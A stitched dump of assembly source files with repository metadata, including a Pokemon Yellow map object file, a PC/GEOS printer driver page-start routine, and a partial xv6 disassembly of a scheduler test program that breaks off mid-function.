ld d,h
ld e,l
inc de
ld a,(__z9001_attr)
ld (hl),a
ld bc,KRT_COLUMNS - 1
ldir
ret
| 20.548387 | 48 | 0.601256 |
3b360b26fa619d43360c374002eeccc7b3707fd5 | 445 | asm | Assembly | data/mapObjects/viridianmart.asm | longlostsoul/EvoYellow | fe5d0d372c4e90d384c4005a93f19d7968f2ff13 | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/mapObjects/viridianmart.asm | longlostsoul/EvoYellow | fe5d0d372c4e90d384c4005a93f19d7968f2ff13 | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/mapObjects/viridianmart.asm | longlostsoul/EvoYellow | fe5d0d372c4e90d384c4005a93f19d7968f2ff13 | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | ViridianMartObject:
db $0 ; border block
db $2 ; warps
db $7, $3, $1, $ff
db $7, $4, $1, $ff
db $0 ; signs
db $4 ; objects
object SPRITE_MART_GUY, $0, $5, STAY, RIGHT, $1 ; person
object SPRITE_JAMES, $4, $5, STAY, LEFT, $2 ; person
object SPRITE_JESSIE, $2, $6, STAY, UP, $3 ; person
object SPRITE_MEOWTH, $2, $3, STAY, DOWN, $4 ; person
; warp-to
EVENT_DISP VIRIDIAN_MART_WIDTH, $7, $3
EVENT_DISP VIRIDIAN_MART_WIDTH, $7, $4
| 23.421053 | 57 | 0.638202 |
6271505aedb5eed9216f2854023b83ed846ec891 | 2,834 | asm | Assembly | Driver/Printer/PrintCom/Page/pageStartNike56.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Printer/PrintCom/Page/pageStartNike56.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Printer/PrintCom/Page/pageStartNike56.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: printer drivers
FILE: pageStartNike56.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
PrintStartPage initialize the page-related variables, called once/page
by EXTERNAL at start of page.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 11/94 initial version
DESCRIPTION:
$Id: pageStartNike56.asm,v 1.1 97/04/18 11:51:44 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintStartPage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the page
CALLED BY: GLOBAL
PASS: bp - PSTATE segment address.
cl - Suppress form feed flag, C_FF is FF non-suppressed
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 11/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintStartPage proc far
uses ax,bx,cx,di,ds,es
.enter
; see if the spooler is in the suppress formfeed mode.
cmp cl,C_FF
jne suppressformfeed
; start cursor out at top,left position
call PrintHomeCursor ;start out from home position.
jc exit
suppressformfeed:
mov es,bp
call PrWaitForMechanismLow ;make sure nothing is happening.
mov es:[PS_dWP_Specific].DWPS_returnCode,PDR_NO_RETURN
;Initialize the return code
mov al,PJLP_update ;update the LPES
call PrintGetErrorsLow
test al,mask PER_MPE ;isolate the paper present bit.
jz initYOffset ;if logically controlled paper, let 'er rip.
call PrintInsertPaper ;try to load a sheet from ASF.
call PrWaitForMechanismLow ;wait for the paper to get loaded.
mov al,PJLP_update ;update the LPES
call PrintGetErrorsLow ;see what happened....
test al,mask PER_MPE or mask PER_JAM
jz initYOffset
;PAPER JAM DIALOG BOX WILL GET CALLED
mov es:[PS_dWP_Specific].DWPS_returnCode,PDR_PAPER_JAM_OR_EMPTY
jmp exit
initYOffset:
;init the y offset to 0.
mov es:[PS_dWP_Specific].DWPS_yOffset,0
mov es:[PS_dWP_Specific].DWPS_finishColor,0 ;finish color print = 0
; If we're printing in color...
mov al,es:[PS_printerType]
andnf al,mask PT_COLOR
cmp al,BMF_MONO
je exit
;clear out magenta and cyan history buffer
mov es, es:[PS_dWP_Specific].DWPS_buffer2Segment
clr di
mov cx, PRINT_COLOR_HISTORY_BUFFER_SIZE / 2
clr ax
rep stosw
exit:
.leave
ret
PrintStartPage endp
| 24.431034 | 79 | 0.612562 |
1daf25b415eb3763bedb7dba739636ff5de51f6e | 36,457 | asm | Assembly | testcount.asm | snowman789/xv6_scheduler | 074553f802c8f35434bd34f04ea9b81dd6779a1b | [
"MIT-0"
] | null | null | null | testcount.asm | snowman789/xv6_scheduler | 074553f802c8f35434bd34f04ea9b81dd6779a1b | [
"MIT-0"
] | null | null | null | testcount.asm | snowman789/xv6_scheduler | 074553f802c8f35434bd34f04ea9b81dd6779a1b | [
"MIT-0"
] | null | null | null |
_testcount: file format elf32-i386
Disassembly of section .text:
00000000 <lcg_parkmiller>:
static unsigned random_seed = 1;
//#define RANDOM_MAX ((1u << 31u) - 1u)
#define RANDOM_MAX 100000
unsigned lcg_parkmiller(unsigned *state)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 53 push %ebx
4: 8b 4d 08 mov 0x8(%ebp),%ecx
Therefore:
rem*G - div*(N%G) === state*G (mod N)
Add N if necessary so that the result is between 1 and N-1.
*/
unsigned div = *state / (N / G); /* max : 2,147,483,646 / 44,488 = 48,271 */
7: 8b 19 mov (%ecx),%ebx
9: ba 91 13 8f bc mov $0xbc8f1391,%edx
e: 89 d8 mov %ebx,%eax
10: f7 e2 mul %edx
12: c1 ea 0f shr $0xf,%edx
unsigned rem = *state % (N / G); /* max : 2,147,483,646 % 44,488 = 44,487 */
15: 69 c2 c8 ad 00 00 imul $0xadc8,%edx,%eax
1b: 29 c3 sub %eax,%ebx
unsigned a = rem * G; /* max : 44,487 * 48,271 = 2,147,431,977 */
1d: 69 c3 8f bc 00 00 imul $0xbc8f,%ebx,%eax
unsigned b = div * (N % G); /* max : 48,271 * 3,399 = 164,073,129 */
23: 69 d2 47 0d 00 00 imul $0xd47,%edx,%edx
return *state = (a > b) ? (a - b) : (a + (N - b)) ;
29: 39 d0 cmp %edx,%eax
2b: 77 0c ja 39 <lcg_parkmiller+0x39>
2d: 29 d0 sub %edx,%eax
2f: 05 ff ff ff 7f add $0x7fffffff,%eax
34: 89 01 mov %eax,(%ecx)
}
36: 5b pop %ebx
37: 5d pop %ebp
38: c3 ret
return *state = (a > b) ? (a - b) : (a + (N - b)) ;
39: 29 d0 sub %edx,%eax
3b: eb f7 jmp 34 <lcg_parkmiller+0x34>
0000003d <next_random>:
unsigned next_random() {
3d: 55 push %ebp
3e: 89 e5 mov %esp,%ebp
return lcg_parkmiller(&random_seed) % RANDOM_MAX;
40: 68 ac 09 00 00 push $0x9ac
45: e8 b6 ff ff ff call 0 <lcg_parkmiller>
4a: 89 c1 mov %eax,%ecx
4c: c1 e8 05 shr $0x5,%eax
4f: ba c5 5a 7c 0a mov $0xa7c5ac5,%edx
54: f7 e2 mul %edx
56: 89 d0 mov %edx,%eax
58: c1 e8 07 shr $0x7,%eax
5b: 69 c0 a0 86 01 00 imul $0x186a0,%eax,%eax
61: 29 c1 sub %eax,%ecx
63: 89 c8 mov %ecx,%eax
}
65: c9 leave
66: c3 ret
00000067 <main>:
#include "user.h"
#include "random_num.c"
int
main(int argc, char *argv[])
{
67: 8d 4c 24 04 lea 0x4(%esp),%ecx
6b: 83 e4 f0 and $0xfffffff0,%esp
6e: ff 71 fc pushl -0x4(%ecx)
71: 55 push %ebp
72: 89 e5 mov %esp,%ebp
74: 53 push %ebx
75: 51 push %ecx
76: 81 ec 18 03 00 00 sub $0x318,%esp
//test setwritecount works
printf(1,"Testing Num times process run \n");
7c: 68 88 06 00 00 push $0x688
81: 6a 01 push $0x1
83: e8 46 03 00 00 call 3ce <printf>
// printf(1,"this is a test \n");
// printf(1, "%d\n", writecount() );
struct processes_info myInfo;
struct processes_info *myProcess = &myInfo;
getprocessesinfo(myProcess);
88: 8d 9d f4 fc ff ff lea -0x30c(%ebp),%ebx
8e: 89 1c 24 mov %ebx,(%esp)
91: e8 96 02 00 00 call 32c <getprocessesinfo>
settickets(69);
96: c7 04 24 45 00 00 00 movl $0x45,(%esp)
9d: e8 82 02 00 00 call 324 <settickets>
getprocessesinfo(myProcess);
a2: 89 1c 24 mov %ebx,(%esp)
a5: e8 82 02 00 00 call 32c <getprocessesinfo>
for(int i = 0; i < 10; i++){
aa: 83 c4 10 add $0x10,%esp
ad: bb 00 00 00 00 mov $0x0,%ebx
b2: eb 19 jmp cd <main+0x66>
unsigned myRandom = next_random();
b4: e8 84 ff ff ff call 3d <next_random>
//myRandom = 113;
printf(1, "Random number %d is %d \n", i , (int) myRandom);
b9: 50 push %eax
ba: 53 push %ebx
bb: 68 a8 06 00 00 push $0x6a8
c0: 6a 01 push $0x1
c2: e8 07 03 00 00 call 3ce <printf>
for(int i = 0; i < 10; i++){
c7: 83 c3 01 add $0x1,%ebx
ca: 83 c4 10 add $0x10,%esp
cd: 83 fb 09 cmp $0x9,%ebx
d0: 7e e2 jle b4 <main+0x4d>
}
exit();
d2: e8 8d 01 00 00 call 264 <exit>
000000d7 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
d7: 55 push %ebp
d8: 89 e5 mov %esp,%ebp
da: 53 push %ebx
db: 8b 45 08 mov 0x8(%ebp),%eax
de: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
e1: 89 c2 mov %eax,%edx
e3: 0f b6 19 movzbl (%ecx),%ebx
e6: 88 1a mov %bl,(%edx)
e8: 8d 52 01 lea 0x1(%edx),%edx
eb: 8d 49 01 lea 0x1(%ecx),%ecx
ee: 84 db test %bl,%bl
f0: 75 f1 jne e3 <strcpy+0xc>
;
return os;
}
f2: 5b pop %ebx
f3: 5d pop %ebp
f4: c3 ret
000000f5 <strcmp>:
int
strcmp(const char *p, const char *q)
{
f5: 55 push %ebp
f6: 89 e5 mov %esp,%ebp
f8: 8b 4d 08 mov 0x8(%ebp),%ecx
fb: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
fe: eb 06 jmp 106 <strcmp+0x11>
p++, q++;
100: 83 c1 01 add $0x1,%ecx
103: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
106: 0f b6 01 movzbl (%ecx),%eax
109: 84 c0 test %al,%al
10b: 74 04 je 111 <strcmp+0x1c>
10d: 3a 02 cmp (%edx),%al
10f: 74 ef je 100 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
111: 0f b6 c0 movzbl %al,%eax
114: 0f b6 12 movzbl (%edx),%edx
117: 29 d0 sub %edx,%eax
}
119: 5d pop %ebp
11a: c3 ret
0000011b <strlen>:
uint
strlen(const char *s)
{
11b: 55 push %ebp
11c: 89 e5 mov %esp,%ebp
11e: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
121: ba 00 00 00 00 mov $0x0,%edx
126: eb 03 jmp 12b <strlen+0x10>
128: 83 c2 01 add $0x1,%edx
12b: 89 d0 mov %edx,%eax
12d: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
131: 75 f5 jne 128 <strlen+0xd>
;
return n;
}
133: 5d pop %ebp
134: c3 ret
00000135 <memset>:
void*
memset(void *dst, int c, uint n)
{
135: 55 push %ebp
136: 89 e5 mov %esp,%ebp
138: 57 push %edi
139: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
13c: 89 d7 mov %edx,%edi
13e: 8b 4d 10 mov 0x10(%ebp),%ecx
141: 8b 45 0c mov 0xc(%ebp),%eax
144: fc cld
145: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
147: 89 d0 mov %edx,%eax
149: 5f pop %edi
14a: 5d pop %ebp
14b: c3 ret
0000014c <strchr>:
char*
strchr(const char *s, char c)
{
14c: 55 push %ebp
14d: 89 e5 mov %esp,%ebp
14f: 8b 45 08 mov 0x8(%ebp),%eax
152: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
156: 0f b6 10 movzbl (%eax),%edx
159: 84 d2 test %dl,%dl
15b: 74 09 je 166 <strchr+0x1a>
if(*s == c)
15d: 38 ca cmp %cl,%dl
15f: 74 0a je 16b <strchr+0x1f>
for(; *s; s++)
161: 83 c0 01 add $0x1,%eax
164: eb f0 jmp 156 <strchr+0xa>
return (char*)s;
return 0;
166: b8 00 00 00 00 mov $0x0,%eax
}
16b: 5d pop %ebp
16c: c3 ret
0000016d <gets>:
char*
gets(char *buf, int max)
{
16d: 55 push %ebp
16e: 89 e5 mov %esp,%ebp
170: 57 push %edi
171: 56 push %esi
172: 53 push %ebx
173: 83 ec 1c sub $0x1c,%esp
176: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
179: bb 00 00 00 00 mov $0x0,%ebx
17e: 8d 73 01 lea 0x1(%ebx),%esi
181: 3b 75 0c cmp 0xc(%ebp),%esi
184: 7d 2e jge 1b4 <gets+0x47>
cc = read(0, &c, 1);
186: 83 ec 04 sub $0x4,%esp
189: 6a 01 push $0x1
18b: 8d 45 e7 lea -0x19(%ebp),%eax
18e: 50 push %eax
18f: 6a 00 push $0x0
191: e8 e6 00 00 00 call 27c <read>
if(cc < 1)
196: 83 c4 10 add $0x10,%esp
199: 85 c0 test %eax,%eax
19b: 7e 17 jle 1b4 <gets+0x47>
break;
buf[i++] = c;
19d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a1: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
1a4: 3c 0a cmp $0xa,%al
1a6: 0f 94 c2 sete %dl
1a9: 3c 0d cmp $0xd,%al
1ab: 0f 94 c0 sete %al
buf[i++] = c;
1ae: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
1b0: 08 c2 or %al,%dl
1b2: 74 ca je 17e <gets+0x11>
break;
}
buf[i] = '\0';
1b4: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
1b8: 89 f8 mov %edi,%eax
1ba: 8d 65 f4 lea -0xc(%ebp),%esp
1bd: 5b pop %ebx
1be: 5e pop %esi
1bf: 5f pop %edi
1c0: 5d pop %ebp
1c1: c3 ret
000001c2 <stat>:
int
stat(const char *n, struct stat *st)
{
1c2: 55 push %ebp
1c3: 89 e5 mov %esp,%ebp
1c5: 56 push %esi
1c6: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c7: 83 ec 08 sub $0x8,%esp
1ca: 6a 00 push $0x0
1cc: ff 75 08 pushl 0x8(%ebp)
1cf: e8 d0 00 00 00 call 2a4 <open>
if(fd < 0)
1d4: 83 c4 10 add $0x10,%esp
1d7: 85 c0 test %eax,%eax
1d9: 78 24 js 1ff <stat+0x3d>
1db: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
1dd: 83 ec 08 sub $0x8,%esp
1e0: ff 75 0c pushl 0xc(%ebp)
1e3: 50 push %eax
1e4: e8 d3 00 00 00 call 2bc <fstat>
1e9: 89 c6 mov %eax,%esi
close(fd);
1eb: 89 1c 24 mov %ebx,(%esp)
1ee: e8 99 00 00 00 call 28c <close>
return r;
1f3: 83 c4 10 add $0x10,%esp
}
1f6: 89 f0 mov %esi,%eax
1f8: 8d 65 f8 lea -0x8(%ebp),%esp
1fb: 5b pop %ebx
1fc: 5e pop %esi
1fd: 5d pop %ebp
1fe: c3 ret
return -1;
1ff: be ff ff ff ff mov $0xffffffff,%esi
204: eb f0 jmp 1f6 <stat+0x34>
00000206 <atoi>:
int
atoi(const char *s)
{
206: 55 push %ebp
207: 89 e5 mov %esp,%ebp
209: 53 push %ebx
20a: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
20d: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
212: eb 10 jmp 224 <atoi+0x1e>
n = n*10 + *s++ - '0';
214: 8d 1c 80 lea (%eax,%eax,4),%ebx
217: 8d 04 1b lea (%ebx,%ebx,1),%eax
21a: 83 c1 01 add $0x1,%ecx
21d: 0f be d2 movsbl %dl,%edx
220: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
224: 0f b6 11 movzbl (%ecx),%edx
227: 8d 5a d0 lea -0x30(%edx),%ebx
22a: 80 fb 09 cmp $0x9,%bl
22d: 76 e5 jbe 214 <atoi+0xe>
return n;
}
22f: 5b pop %ebx
230: 5d pop %ebp
231: c3 ret
00000232 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
232: 55 push %ebp
233: 89 e5 mov %esp,%ebp
235: 56 push %esi
236: 53 push %ebx
237: 8b 45 08 mov 0x8(%ebp),%eax
23a: 8b 5d 0c mov 0xc(%ebp),%ebx
23d: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
240: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
242: eb 0d jmp 251 <memmove+0x1f>
*dst++ = *src++;
244: 0f b6 13 movzbl (%ebx),%edx
247: 88 11 mov %dl,(%ecx)
249: 8d 5b 01 lea 0x1(%ebx),%ebx
24c: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
24f: 89 f2 mov %esi,%edx
251: 8d 72 ff lea -0x1(%edx),%esi
254: 85 d2 test %edx,%edx
256: 7f ec jg 244 <memmove+0x12>
return vdst;
}
258: 5b pop %ebx
259: 5e pop %esi
25a: 5d pop %ebp
25b: c3 ret
0000025c <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
25c: b8 01 00 00 00 mov $0x1,%eax
261: cd 40 int $0x40
263: c3 ret
00000264 <exit>:
SYSCALL(exit)
264: b8 02 00 00 00 mov $0x2,%eax
269: cd 40 int $0x40
26b: c3 ret
0000026c <wait>:
SYSCALL(wait)
26c: b8 03 00 00 00 mov $0x3,%eax
271: cd 40 int $0x40
273: c3 ret
00000274 <pipe>:
SYSCALL(pipe)
274: b8 04 00 00 00 mov $0x4,%eax
279: cd 40 int $0x40
27b: c3 ret
0000027c <read>:
SYSCALL(read)
27c: b8 05 00 00 00 mov $0x5,%eax
281: cd 40 int $0x40
283: c3 ret
00000284 <write>:
SYSCALL(write)
284: b8 10 00 00 00 mov $0x10,%eax
289: cd 40 int $0x40
28b: c3 ret
0000028c <close>:
SYSCALL(close)
28c: b8 15 00 00 00 mov $0x15,%eax
291: cd 40 int $0x40
293: c3 ret
00000294 <kill>:
SYSCALL(kill)
294: b8 06 00 00 00 mov $0x6,%eax
299: cd 40 int $0x40
29b: c3 ret
0000029c <exec>:
SYSCALL(exec)
29c: b8 07 00 00 00 mov $0x7,%eax
2a1: cd 40 int $0x40
2a3: c3 ret
000002a4 <open>:
SYSCALL(open)
2a4: b8 0f 00 00 00 mov $0xf,%eax
2a9: cd 40 int $0x40
2ab: c3 ret
000002ac <mknod>:
SYSCALL(mknod)
2ac: b8 11 00 00 00 mov $0x11,%eax
2b1: cd 40 int $0x40
2b3: c3 ret
000002b4 <unlink>:
SYSCALL(unlink)
2b4: b8 12 00 00 00 mov $0x12,%eax
2b9: cd 40 int $0x40
2bb: c3 ret
000002bc <fstat>:
SYSCALL(fstat)
2bc: b8 08 00 00 00 mov $0x8,%eax
2c1: cd 40 int $0x40
2c3: c3 ret
000002c4 <link>:
SYSCALL(link)
2c4: b8 13 00 00 00 mov $0x13,%eax
2c9: cd 40 int $0x40
2cb: c3 ret
000002cc <mkdir>:
SYSCALL(mkdir)
2cc: b8 14 00 00 00 mov $0x14,%eax
2d1: cd 40 int $0x40
2d3: c3 ret
000002d4 <chdir>:
SYSCALL(chdir)
2d4: b8 09 00 00 00 mov $0x9,%eax
2d9: cd 40 int $0x40
2db: c3 ret
000002dc <dup>:
SYSCALL(dup)
2dc: b8 0a 00 00 00 mov $0xa,%eax
2e1: cd 40 int $0x40
2e3: c3 ret
000002e4 <getpid>:
SYSCALL(getpid)
2e4: b8 0b 00 00 00 mov $0xb,%eax
2e9: cd 40 int $0x40
2eb: c3 ret
000002ec <sbrk>:
SYSCALL(sbrk)
2ec: b8 0c 00 00 00 mov $0xc,%eax
2f1: cd 40 int $0x40
2f3: c3 ret
000002f4 <sleep>:
SYSCALL(sleep)
2f4: b8 0d 00 00 00 mov $0xd,%eax
2f9: cd 40 int $0x40
2fb: c3 ret
000002fc <uptime>:
SYSCALL(uptime)
2fc: b8 0e 00 00 00 mov $0xe,%eax
301: cd 40 int $0x40
303: c3 ret
00000304 <yield>:
SYSCALL(yield)
304: b8 16 00 00 00 mov $0x16,%eax
309: cd 40 int $0x40
30b: c3 ret
0000030c <shutdown>:
SYSCALL(shutdown)
30c: b8 17 00 00 00 mov $0x17,%eax
311: cd 40 int $0x40
313: c3 ret
00000314 <writecount>:
SYSCALL(writecount)
314: b8 18 00 00 00 mov $0x18,%eax
319: cd 40 int $0x40
31b: c3 ret
0000031c <setwritecount>:
SYSCALL(setwritecount)
31c: b8 19 00 00 00 mov $0x19,%eax
321: cd 40 int $0x40
323: c3 ret
00000324 <settickets>:
SYSCALL(settickets)
324: b8 1a 00 00 00 mov $0x1a,%eax
329: cd 40 int $0x40
32b: c3 ret
0000032c <getprocessesinfo>:
32c: b8 1b 00 00 00 mov $0x1b,%eax
331: cd 40 int $0x40
333: c3 ret
00000334 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
334: 55 push %ebp
335: 89 e5 mov %esp,%ebp
337: 83 ec 1c sub $0x1c,%esp
33a: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
33d: 6a 01 push $0x1
33f: 8d 55 f4 lea -0xc(%ebp),%edx
342: 52 push %edx
343: 50 push %eax
344: e8 3b ff ff ff call 284 <write>
}
349: 83 c4 10 add $0x10,%esp
34c: c9 leave
34d: c3 ret
0000034e <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
34e: 55 push %ebp
34f: 89 e5 mov %esp,%ebp
351: 57 push %edi
352: 56 push %esi
353: 53 push %ebx
354: 83 ec 2c sub $0x2c,%esp
357: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
359: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
35d: 0f 95 c3 setne %bl
360: 89 d0 mov %edx,%eax
362: c1 e8 1f shr $0x1f,%eax
365: 84 c3 test %al,%bl
367: 74 10 je 379 <printint+0x2b>
neg = 1;
x = -xx;
369: f7 da neg %edx
neg = 1;
36b: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
372: be 00 00 00 00 mov $0x0,%esi
377: eb 0b jmp 384 <printint+0x36>
neg = 0;
379: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
380: eb f0 jmp 372 <printint+0x24>
do{
buf[i++] = digits[x % base];
382: 89 c6 mov %eax,%esi
384: 89 d0 mov %edx,%eax
386: ba 00 00 00 00 mov $0x0,%edx
38b: f7 f1 div %ecx
38d: 89 c3 mov %eax,%ebx
38f: 8d 46 01 lea 0x1(%esi),%eax
392: 0f b6 92 c8 06 00 00 movzbl 0x6c8(%edx),%edx
399: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
39d: 89 da mov %ebx,%edx
39f: 85 db test %ebx,%ebx
3a1: 75 df jne 382 <printint+0x34>
3a3: 89 c3 mov %eax,%ebx
if(neg)
3a5: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
3a9: 74 16 je 3c1 <printint+0x73>
buf[i++] = '-';
3ab: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
3b0: 8d 5e 02 lea 0x2(%esi),%ebx
3b3: eb 0c jmp 3c1 <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
3b5: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
3ba: 89 f8 mov %edi,%eax
3bc: e8 73 ff ff ff call 334 <putc>
while(--i >= 0)
3c1: 83 eb 01 sub $0x1,%ebx
3c4: 79 ef jns 3b5 <printint+0x67>
}
3c6: 83 c4 2c add $0x2c,%esp
3c9: 5b pop %ebx
3ca: 5e pop %esi
3cb: 5f pop %edi
3cc: 5d pop %ebp
3cd: c3 ret
000003ce <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3ce: 55 push %ebp
3cf: 89 e5 mov %esp,%ebp
3d1: 57 push %edi
3d2: 56 push %esi
3d3: 53 push %ebx
3d4: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
3d7: 8d 45 10 lea 0x10(%ebp),%eax
3da: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
3dd: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
3e2: bb 00 00 00 00 mov $0x0,%ebx
3e7: eb 14 jmp 3fd <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
3e9: 89 fa mov %edi,%edx
3eb: 8b 45 08 mov 0x8(%ebp),%eax
3ee: e8 41 ff ff ff call 334 <putc>
3f3: eb 05 jmp 3fa <printf+0x2c>
}
} else if(state == '%'){
3f5: 83 fe 25 cmp $0x25,%esi
3f8: 74 25 je 41f <printf+0x51>
for(i = 0; fmt[i]; i++){
3fa: 83 c3 01 add $0x1,%ebx
3fd: 8b 45 0c mov 0xc(%ebp),%eax
400: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
404: 84 c0 test %al,%al
406: 0f 84 23 01 00 00 je 52f <printf+0x161>
c = fmt[i] & 0xff;
40c: 0f be f8 movsbl %al,%edi
40f: 0f b6 c0 movzbl %al,%eax
if(state == 0){
412: 85 f6 test %esi,%esi
414: 75 df jne 3f5 <printf+0x27>
if(c == '%'){
416: 83 f8 25 cmp $0x25,%eax
419: 75 ce jne 3e9 <printf+0x1b>
state = '%';
41b: 89 c6 mov %eax,%esi
41d: eb db jmp 3fa <printf+0x2c>
if(c == 'd'){
41f: 83 f8 64 cmp $0x64,%eax
422: 74 49 je 46d <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
424: 83 f8 78 cmp $0x78,%eax
427: 0f 94 c1 sete %cl
42a: 83 f8 70 cmp $0x70,%eax
42d: 0f 94 c2 sete %dl
430: 08 d1 or %dl,%cl
432: 75 63 jne 497 <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
434: 83 f8 73 cmp $0x73,%eax
437: 0f 84 84 00 00 00 je 4c1 <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
43d: 83 f8 63 cmp $0x63,%eax
440: 0f 84 b7 00 00 00 je 4fd <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
446: 83 f8 25 cmp $0x25,%eax
449: 0f 84 cc 00 00 00 je 51b <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
44f: ba 25 00 00 00 mov $0x25,%edx
454: 8b 45 08 mov 0x8(%ebp),%eax
457: e8 d8 fe ff ff call 334 <putc>
putc(fd, c);
45c: 89 fa mov %edi,%edx
45e: 8b 45 08 mov 0x8(%ebp),%eax
461: e8 ce fe ff ff call 334 <putc>
}
state = 0;
466: be 00 00 00 00 mov $0x0,%esi
46b: eb 8d jmp 3fa <printf+0x2c>
printint(fd, *ap, 10, 1);
46d: 8b 7d e4 mov -0x1c(%ebp),%edi
470: 8b 17 mov (%edi),%edx
472: 83 ec 0c sub $0xc,%esp
475: 6a 01 push $0x1
477: b9 0a 00 00 00 mov $0xa,%ecx
47c: 8b 45 08 mov 0x8(%ebp),%eax
47f: e8 ca fe ff ff call 34e <printint>
ap++;
484: 83 c7 04 add $0x4,%edi
487: 89 7d e4 mov %edi,-0x1c(%ebp)
48a: 83 c4 10 add $0x10,%esp
state = 0;
48d: be 00 00 00 00 mov $0x0,%esi
492: e9 63 ff ff ff jmp 3fa <printf+0x2c>
printint(fd, *ap, 16, 0);
497: 8b 7d e4 mov -0x1c(%ebp),%edi
49a: 8b 17 mov (%edi),%edx
49c: 83 ec 0c sub $0xc,%esp
49f: 6a 00 push $0x0
4a1: b9 10 00 00 00 mov $0x10,%ecx
